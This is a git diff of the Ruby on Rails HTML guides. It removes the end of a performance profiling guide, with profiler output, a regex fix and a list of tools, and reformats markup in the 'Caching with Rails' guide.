-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomepageTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
- <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
- get <span style="color: #FF0000">'/'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="listingblock">
-<div class="title">Example: Output</div>
-<div class="content">
-<pre><tt>HomepageTest#test_homepage (115 ms warmup)
- process_time: 591 ms
- memory: 3052.90 KB
- objects: 59471</tt></pre>
-</div></div>
-<div class="para"><p>Obviously something is very very wrong here. 3052.90 Kb to load my minimal homepage. For Comparison for another site running well I get this for my homepage test.</p></div>
-<div class="listingblock">
-<div class="title">Example: Default</div>
-<div class="content">
-<pre><tt>HomepageTest#test_homepage (19 ms warmup)
- process_time: 26 ms
- memory: 298.79 KB
- objects: 1917</tt></pre>
-</div></div>
-<div class="para"><p>that over a factor of ten difference. Lets look at our flat process time file to see if anything pops out at us.</p></div>
-<div class="listingblock">
-<div class="title">Example: Process time</div>
-<div class="content">
-<pre><tt>20.73 0.39 0.12 0.00 0.27 420 Pathname#cleanpath_aggressive
-17.07 0.14 0.10 0.00 0.04 3186 Pathname#chop_basename
- 6.47 0.06 0.04 0.00 0.02 6571 Kernel#===
- 5.04 0.06 0.03 0.00 0.03 840 Pathname#initialize
- 5.03 0.05 0.03 0.00 0.02 4 ERB::Compiler::ExplicitScanner#scan
- 4.51 0.03 0.03 0.00 0.00 9504 String#==
- 2.94 0.46 0.02 0.00 0.44 1393 String#gsub
- 2.66 0.09 0.02 0.00 0.07 480 Array#each
- 2.46 0.01 0.01 0.00 0.00 3606 Regexp#to_s</tt></pre>
-</div></div>
-<div class="para"><p>Yes indeed we seem to have found the problem. Pathname#cleanpath_aggressive is taking nearly a quarter our process time and Pathname#chop_basename another 17%. From here I do a few more benchmarks to make sure that these processes are slowing down the other pages. They are so now I know what I must do. <strong>If we can get rid of or shorten these processes we can make our pages run much quicker</strong>.</p></div>
-<div class="para"><p>Now both of these are main ruby processes so are goal right now is to find out what other process is calling them. Glancing at our Graph file I see that #cleanpath is calling #cleanpath_aggressive. #cleanpath is being called by String#gsub and from there some html template errors. But my page seems to be rendering fine. why would it be calling template errors. I'm decide to check my object flat file to see if I can find any more information.</p></div>
-<div class="listingblock">
-<div class="title">Example: Objects Created</div>
-<div class="content">
-<pre><tt>20.74 34800.00 12324.00 0.00 22476.00 420 Pathname#cleanpath_aggressive
-16.79 18696.00 9978.00 0.00 8718.00 3186 Pathname#chop_basename
-11.47 13197.00 6813.00 0.00 6384.00 480 Array#each
- 8.51 41964.00 5059.00 0.00 36905.00 1386 String#gsub
- 6.07 3606.00 3606.00 0.00 0.00 3606 Regexp#to_s</tt></pre>
-</div></div>
-<div class="para"><p>nope nothing new here. Lets look at memory usage</p></div>
-<div class="listingblock">
-<div class="title">Example: Memory Consuption</div>
-<div class="content">
-<pre><tt> 40.17 1706.80 1223.70 0.00 483.10 3186 Pathname#chop_basename
- 14.92 454.47 454.47 0.00 0.00 3606 Regexp#to_s
- 7.09 2381.36 215.99 0.00 2165.37 1386 String#gsub
- 5.08 231.19 154.73 0.00 76.46 420 Pathname#prepend_prefix
- 2.34 71.35 71.35 0.00 0.00 1265 String#initialize_copy</tt></pre>
-</div></div>
-<div class="para"><p>Ok so it seems Regexp#to_s is the second costliest process. At this point I try to figure out what could be calling a regular expression cause I very rarely use them. Going over my standard layout I discover at the top.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%if request.env["HTTP_USER_AGENT"].match(/Opera/)%&gt;
-&lt;%= stylesheet_link_tag "opera" %&gt;
-&lt;% end %&gt;
-</tt></pre></div></div>
-<div class="para"><p>That's wrong. I mistakenly am using a search function for a simple compare function. Lets fix that.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%if request.env["HTTP_USER_AGENT"] =~ /Opera/%&gt;
-&lt;%= stylesheet_link_tag "opera" %&gt;
-&lt;% end %&gt;
-</tt></pre></div></div>
-<div class="para"><p>I'll now try my test again.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>process_time: 75 ms
- memory: 519.95 KB
- objects: 6537</tt></pre>
-</div></div>
-<div class="para"><p>Much better. The problem has been solved. Now I should have realized earlier due to the String#gsub that my problem had to be with reqexp serch function but such knowledge comes with time. Looking through the mass output data is a skill.</p></div>
-</div>
-<h2 id="_get_yourself_a_game_plan">8. Get Yourself a Game Plan</h2>
-<div class="sectionbody">
-<div class="para"><p>You end up dealing with a large amount of data whenever you profile an application. It's crucial to use a rigorous approach to analyzing your application's performance else fail miserably in a vortex of numbers. This leads us to -</p></div>
-<h3 id="_the_analysis_process">8.1. The Analysis Process</h3>
-<div class="para"><p>I’m going to give an example methodology for conducting your benchmarking and profiling on an application. It is based on your typical scientific method.</p></div>
-<div class="para"><p>For something as complex as Benchmarking you need to take any methodology with a grain of salt but there are some basic strictures that you can depend on.</p></div>
-<div class="para"><p>Formulate a question you need to answer which is simple, tests the smallest measurable thing possible, and is exact. This is typically the hardest part of the experiment. From there some steps that you should follow are.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Develop a set of variables and processes to measure in order to answer this question!
-</p>
-</li>
-<li>
-<p>
-Profile based on the question and variables. Key problems to avoid when designing this experiment are:
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-Confounding: Test one thing at a time, keep everything the same so you don't poison the data with uncontrolled processes.
-</p>
-</li>
-<li>
-<p>
-Cross Contamination: Make sure that runs from one test do not harm the other tests.
-</p>
-</li>
-<li>
-<p>
-Steady States: If you’re testing long running process. You must take the ramp up time and performance hit into your initial measurements.
-</p>
-</li>
-<li>
-<p>
-Sampling Error: Data should perform have a steady variance or range. If you get wild swings or sudden spikes, etc. then you must either account for the reason why or you have a sampling error.
-</p>
-</li>
-<li>
-<p>
-Measurement Error: Aka Human error, always go through your calculations at least twice to make sure there are no mathematical errors. .
-</p>
-</li>
-</ul></div>
-</li>
-<li>
-<p>
-Do a small run of the experiment to verify the design.
-</p>
-</li>
-<li>
-<p>
-Use the small run to determine a proper sample size.
-</p>
-</li>
-<li>
-<p>
-Run the test.
-</p>
-</li>
-<li>
-<p>
-Perform the analysis on the results and determine where to go from there.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Note: Even though we are using the typical scientific method; developing a hypothesis is not always useful in terms of profiling.</p></div>
-</div>
-<h2 id="_other_profiling_tools">9. Other Profiling Tools</h2>
-<div class="sectionbody">
-<div class="para"><p>There are a lot of great profiling tools out there. Some free, some not so free. This is a sort list detailing some of them.</p></div>
-<h3 id="_httperf">9.1. httperf</h3>
-<div class="para"><p><a href="http://www.hpl.hp.com/research/linux/httperf/">http://www.hpl.hp.com/research/linux/httperf/</a></p></div>
-<div class="para"><p>A necessary tool in your arsenal. Very useful for load testing your website.</p></div>
-<div class="para"><p>#TODO write and link to a short article on how to use httperf. Anybody have a good tutorial availble.</p></div>
-<h3 id="_rails_analyzer">9.2. Rails Analyzer</h3>
-<div class="para"><p>The Rails Analyzer project contains a collection of tools for Rails. It's open source and pretty speedy. It's not being actively worked on but is still contains some very useful tools.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-The Production Log Analyzer examines Rails log files and gives back a report. It also includes action_grep which will give you all log results for a particular action.
-</p>
-</li>
-<li>
-<p>
-The Action Profiler similar to Ruby-Prof profiler.
-</p>
-</li>
-<li>
-<p>
-rails_stat which gives a live counter of requests per second of a running Rails app.
-</p>
-</li>
-<li>
-<p>
-The SQL Dependency Grapher allows you to visualize the frequency of table dependencies in a Rails application.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Their project homepage can be found at <a href="http://rails-analyzer.rubyforge.org/">http://rails-analyzer.rubyforge.org/</a></p></div>
-<div class="para"><p>The one major caveat is that it needs your log to be in a different format from how rails sets it up specifically SyslogLogger.</p></div>
-<h4 id="_sysloglogger">9.2.1. SyslogLogger</h4>
-<div class="para"><p>SyslogLogger is a Logger work-alike that logs via syslog instead of to a file. You can add SyslogLogger to your Rails production environment to aggregate logs between multiple machines.</p></div>
-<div class="para"><p>More information can be found out at <a href="http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html">http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html</a></p></div>
-<div class="para"><p>If you don't have access to your machines root system or just want something a bit easier to implement there is also a module developed by Geoffrey Grosenbach</p></div>
-<h4 id="_a_hodel_3000_compliant_logger_for_the_rest_of_us">9.2.2. A Hodel 3000 Compliant Logger for the Rest of Us</h4>
-<div class="para"><p>Directions taken from
-<a href="http://topfunky.net/svn/plugins/hodel_3000_compliant_logger/lib/hodel_3000_compliant_logger.rb">link to module file</a></p></div>
-<div class="para"><p>Just put the module in your lib directory and add this to your environment.rb in it's config portion.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>require 'hodel_3000_compliant_logger'
-config.logger = Hodel3000CompliantLogger.new(config.log_path)</tt></pre>
-</div></div>
-<div class="para"><p>It's that simple. Your log output on restart should look like this.</p></div>
-<div class="listingblock">
-<div class="title">Example: Hodel 3000 Example</div>
-<div class="content">
-<pre><tt>Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Parameters: {"action"=&gt;"shipping", "controller"=&gt;"checkout"}
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;36;1mBook Columns (0.003155) SHOW FIELDS FROM `books`
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;35;1mBook Load (0.000881) SELECT * FROM `books` WHERE (`books`.`id` = 1 AND (`books`.`sold` = 1)) 
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;36;1mShippingAddress Columns (0.002683) SHOW FIELDS FROM `shipping_addresses`
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;35;1mBook Load (0.000362) SELECT ounces FROM `books` WHERE (`books`.`id` = 1) 
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Rendering template within layouts/application
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Rendering checkout/shipping
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;36;1mBook Load (0.000548) SELECT * FROM `books`
-WHERE (sold = 0) LIMIT 3
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;35;1mAuthor Columns (0.002571) SHOW FIELDS FROM `authors`
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Author Load (0.000811) SELECT * FROM `authors` WHERE (`authors`.`id` = 1) 
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Rendered store/_new_books (0.01358)
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Completed in 0.37297 (2 reqs/sec) | Rendering: 0.02971 (7%) | DB: 0.01697 (4%) | 200 OK [https://secure.jeffbooks/checkout/shipping]</tt></pre>
-</div></div>
-<h3 id="_palmist">9.3. Palmist</h3>
-<div class="para"><p>An open source mysql query analyzer. Full featured and easy to work with. Also requires Hodel 3000
-<a href="http://www.flyingmachinestudios.com/projects/">http://www.flyingmachinestudios.com/projects/</a></p></div>
-<h3 id="_new_relic">9.4. New Relic</h3>
-<div class="para"><p><a href="http://www.newrelic.com/">http://www.newrelic.com/</a></p></div>
-<div class="para"><p>Pretty nifty performance tools, pricey though. They do have a basic free
-service both for when in development and when you put your application into production. Very simple installation and signup.</p></div>
-<div class="para"><p>#TODO more in-depth without being like an advertisement.</p></div>
-<h4 id="_manage">9.4.1. Manage</h4>
-<div class="para"><p>Like new relic a production monitoring tool.</p></div>
-</div>
-<h2 id="_changelog">10. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-October 17, 2008: First revision by Pratik
-</p>
-</li>
-<li>
-<p>
-September 6, 2008: Initial version by Matthew Bergman &lt;<a href="mailto:MzbPhoto@gmail.com">MzbPhoto@gmail.com</a>&gt;
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/caching_with_rails.html b/railties/doc/guides/html/caching_with_rails.html
index 32a98d1314..02cc981b0e 100644
--- a/railties/doc/guides/html/caching_with_rails.html
+++ b/railties/doc/guides/html/caching_with_rails.html
@@ -1,244 +1,76 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Caching with Rails: An overview</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Caching with Rails: An overview</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_basic_caching">Basic Caching</a>
- <ul>
-
- <li><a href="#_page_caching">Page Caching</a></li>
-
- <li><a href="#_action_caching">Action Caching</a></li>
-
- <li><a href="#_fragment_caching">Fragment Caching</a></li>
-
- <li><a href="#_sweepers">Sweepers</a></li>
-
- <li><a href="#_sql_caching">SQL Caching</a></li>
-
- <li><a href="#_cache_stores">Cache stores</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_conditional_get_support">Conditional GET support</a>
- </li>
- <li>
- <a href="#_advanced_caching">Advanced Caching</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Caching with Rails: An overview</h1>
- <div id="preamble">
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_basic_caching">Basic Caching</a>
+ <ul>
+
+ <li><a href="#_page_caching">Page Caching</a></li>
+
+ <li><a href="#_action_caching">Action Caching</a></li>
+
+ <li><a href="#_fragment_caching">Fragment Caching</a></li>
+
+ <li><a href="#_sweepers">Sweepers</a></li>
+
+ <li><a href="#_sql_caching">SQL Caching</a></li>
+
+ <li><a href="#_cache_stores">Cache stores</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_conditional_get_support">Conditional GET support</a>
+ </li>
+ <li>
+ <a href="#_advanced_caching">Advanced Caching</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Caching with Rails: An overview</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>Everyone caches. This guide will teach you what you need to know about
+<div class="paragraph"><p>Everyone caches. This guide will teach you what you need to know about
avoiding that expensive round-trip to your database and returning what you
need to return to those hungry web clients in the shortest time possible.</p></div>
</div>
</div>
<h2 id="_basic_caching">1. Basic Caching</h2>
<div class="sectionbody">
-<div class="para"><p>This is an introduction to the three types of caching techniques that Rails
+<div class="paragraph"><p>This is an introduction to the three types of caching techniques that Rails
provides by default without the use of any third party plugins.</p></div>
-<div class="para"><p>To get started make sure <tt>config.action_controller.perform_caching</tt> is set
+<div class="paragraph"><p>To get started make sure <tt>config.action_controller.perform_caching</tt> is set
to <tt>true</tt> for your environment. This flag is normally set in the
corresponding config/environments/*.rb and caching is disabled by default
there for development and test, and enabled for production.</p></div>
@@ -247,16 +79,15 @@ there for development and test, and enabled for production.</p></div>
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>perform_caching <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-</tt></pre></div></div>
+<pre><tt>config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>perform_caching <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span></tt></pre></div></div>
<h3 id="_page_caching">1.1. Page Caching</h3>
-<div class="para"><p>Page caching is a Rails mechanism which allows the request for a generated
+<div class="paragraph"><p>Page caching is a Rails mechanism which allows the request for a generated
page to be fulfilled by the webserver, without ever having to go through the
-Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be
+Rails stack at all. Obviously, this is super-fast. Unfortunately, it can&#8217;t be
applied to every situation (such as pages that need authentication) and since
the webserver is literally just serving a file from the filesystem, cache
expiration is an issue that needs to be dealt with.</p></div>
-<div class="para"><p>So, how do you enable this super-fast cache behavior? Simple, let's say you
+<div class="paragraph"><p>So, how do you enable this super-fast cache behavior? Simple, let&#8217;s say you
have a controller called ProductsController and a <em>list</em> action that lists all
the products</p></div>
<div class="listingblock">
@@ -270,23 +101,22 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The first time anyone requests products/index, Rails will generate a file
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The first time anyone requests products/index, Rails will generate a file
called <tt>index.html</tt> and the webserver will then look for that file before it
passes the next request for products/index to your Rails application.</p></div>
-<div class="para"><p>By default, the page cache directory is set to Rails.public_path (which is
+<div class="paragraph"><p>By default, the page cache directory is set to Rails.public_path (which is
usually set to <tt>RAILS_ROOT + "/public"</tt>) and this can be configured by
changing the configuration setting <tt>config.action_controller.page_cache_directory</tt>.
Changing the default from /public helps avoid naming conflicts, since you may
want to put other static html in /public, but changing this will require web
server reconfiguration to let the web server know where to serve the cached
files from.</p></div>
-<div class="para"><p>The Page Caching mechanism will automatically add a <tt>.html</tt> exxtension to
+<div class="paragraph"><p>The Page Caching mechanism will automatically add a <tt>.html</tt> exxtension to
requests for pages that do not have an extension to make it easy for the
webserver to find those pages and this can be configured by changing the
configuration setting <tt>config.action_controller.page_cache_extension</tt>.</p></div>
-<div class="para"><p>In order to expire this page when a new product is added we could extend our
+<div class="paragraph"><p>In order to expire this page when a new product is added we could extend our
example controler like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
@@ -303,20 +133,19 @@ http://www.gnu.org/software/src-highlite -->
expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you want a more complicated expiration scheme, you can use cache sweepers
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If you want a more complicated expiration scheme, you can use cache sweepers
to expire cached objects when things change. This is covered in the section on Sweepers.</p></div>
<h3 id="_action_caching">1.2. Action Caching</h3>
-<div class="para"><p>One of the issues with Page Caching is that you cannot use it for pages that
+<div class="paragraph"><p>One of the issues with Page Caching is that you cannot use it for pages that
require to restrict access somehow. This is where Action Caching comes in.
Action Caching works like Page Caching except for the fact that the incoming
web request does go from the webserver to the Rails stack and Action Pack so
that before filters can be run on it before the cache is served, so that
authentication and other restrictions can be used while still serving the
result of the output from a cached copy.</p></div>
-<div class="para"><p>Clearing the cache works in the exact same way as with Page Caching.</p></div>
-<div class="para"><p>Let's say you only wanted authenticated users to edit or create a Product
+<div class="paragraph"><p>Clearing the cache works in the exact same way as with Page Caching.</p></div>
+<div class="paragraph"><p>Let&#8217;s say you only wanted authenticated users to edit or create a Product
object, but still cache those pages:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
@@ -338,28 +167,27 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>And you can also use <tt>:if</tt> (or <tt>:unless</tt>) to pass a Proc that specifies when the
-action should be cached. Also, you can use <tt>:layout &#8658; false</tt> to cache without
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>And you can also use <tt>:if</tt> (or <tt>:unless</tt>) to pass a Proc that specifies when the
+action should be cached. Also, you can use <tt>:layout =&gt; false</tt> to cache without
layout so that dynamic information in the layout such as logged in user info
or the number of items in the cart can be left uncached. This feature is
available as of Rails 2.2.</p></div>
-<div class="para"><p>[More: more examples? Walk-through of Action Caching from request to response?
+<div class="paragraph"><p>[More: more examples? Walk-through of Action Caching from request to response?
Description of Rake tasks to clear cached files? Show example of
subdomain caching? Talk about :cache_path, :if and assing blocks/Procs
to expire_action?]</p></div>
<h3 id="_fragment_caching">1.3. Fragment Caching</h3>
-<div class="para"><p>Life would be perfect if we could get away with caching the entire contents of
+<div class="paragraph"><p>Life would be perfect if we could get away with caching the entire contents of
a page or action and serving it out to the world. Unfortunately, dynamic web
applications usually build pages with a variety of components not all of which
have the same caching characteristics. In order to address such a dynamically
created page where different parts of the page need to be cached and expired
differently Rails provides a mechanism called Fragment Caching.</p></div>
-<div class="para"><p>Fragment Caching allows a fragment of view logic to be wrapped in a cache
+<div class="paragraph"><p>Fragment Caching allows a fragment of view logic to be wrapped in a cache
block and served out of the cache store when the next request comes in.</p></div>
-<div class="para"><p>As an example, if you wanted to show all the orders placed on your website
-in real time and didn't want to cache that part of the page, but did want
+<div class="paragraph"><p>As an example, if you wanted to show all the orders placed on your website
+in real time and didn&#8217;t want to cache that part of the page, but did want
to cache the part of the page which lists all products available, you
could use this piece of code:</p></div>
<div class="listingblock">
@@ -376,9 +204,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;% Product.find(:all).each do |p| %&gt;</span>
<span style="color: #FF0000">&lt;%= link_to p.name, product_url(p) %&gt;</span>
<span style="color: #FF0000">&lt;% end %&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The cache block in our example will bind to the action that called it and is
+<span style="color: #FF0000">&lt;% end %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>The cache block in our example will bind to the action that called it and is
written out to the same place as the Action Cache, which means that if you
want to cache multiple fragments per action, you should provide an <tt>action_suffix</tt> to the cache call:</p></div>
<div class="listingblock">
@@ -387,17 +214,15 @@ by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="color: #FF0000">&lt;% cache(:action =&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'all_products'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">%&gt;</span>
- All available products<span style="color: #990000">:</span>
-</tt></pre></div></div>
-<div class="para"><p>and you can expire it using the <tt>expire_fragment</tt> method, like so:</p></div>
+ All available products<span style="color: #990000">:</span></tt></pre></div></div>
+<div class="paragraph"><p>and you can expire it using the <tt>expire_fragment</tt> method, like so:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>expire_fragment<span style="color: #990000">(:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'products'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> 'all_products<span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>If you don't want the cache block to bind to the action that called it, You can
+<pre><tt>expire_fragment<span style="color: #990000">(:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'products'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> 'all_products<span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>If you don&#8217;t want the cache block to bind to the action that called it, You can
also use globally keyed fragments by calling the cache method with a key, like
so:</p></div>
<div class="listingblock">
@@ -406,25 +231,23 @@ by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
